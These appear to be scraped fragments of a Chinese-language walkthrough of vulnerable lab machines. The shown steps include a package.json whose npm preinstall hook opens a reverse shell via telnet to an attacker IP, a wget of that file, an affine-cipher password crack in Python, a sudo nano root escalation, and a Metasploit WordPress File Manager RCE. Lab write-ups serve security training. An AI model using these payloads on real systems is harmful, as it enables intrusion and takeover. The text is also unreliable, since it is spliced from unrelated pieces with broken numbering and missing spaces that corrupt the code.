vim package.json { "name":"jin", "version":"1.0.0", "description":"follow jin on medium and twitter", "main":"index.js", "scripts":{ "preinstall":"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet 192.168.56.102 9003 > /tmp/f" } }
python3 -m http.server 8001
3.在靶机/tmp目录下建立一个json目录,然后获取json文件,再利用npm触发shell:
1 2 3 4 5 6 7
cd /tmp mkdir jin wget http://192.168.56.102:8001/package.json mv package.json jin chmod +s jin/
# 先确定key为key[89, 65] import sys defaffine_encrypt(text, key): return''.join([ chr((( key[0]*(ord(t) - ord('A')) + key[1] ) % 26) + ord('A')) for t in text.upper().replace(' ', '') ])
if __name__ == '__main__': affine_text="FUN" for key0 inrange(65, 91): for key1 inrange(65, 91): encrypt_text = affine_encrypt(affine_text, [key0, key1]) if encrypt_text == "QZA": print(key0,key1) sys.exit(0)
# 解密程序,得到password为ENCRYPTIONISFUNPASSWORD defaffine_decrypt(cipher): text = [] for t in cipher: b = ord(t) - ord('A') for x inrange(0, 26): result = (65 + x*89 - b) % 26 if result == 0: text.append(chr(x + ord('A'))) break print(''.join(text)) if __name__ == '__main__': affine_encrypted_text = "FAJSRWOXLAXDQZAWNDDVLSU" affine_decrypt(affine_encrypted_text)
3.再进行文件权限查看,发现可以使用nano进行提权:
1
sudo -l
4.在gtfobins上查询nano提权方式,成功提权到root:
1 2 3 4
su carlos,在thanos用户下登录到carlos,password是ENCRYPTIONISFUNPASSWORD sudo -u root /bin/nano /opt/priv ctrl+r,ctrl+x reset; sh 1>&0 2>&0
exploit/multi/http/wp_file_manager_rce -y,漏洞工具选择 set TARGETURI /blog,配置URI set RHOSTS wordpress.aragog.hogwarts,配置远程地址 set LHOST 192.168.56.102,配置本地地址 run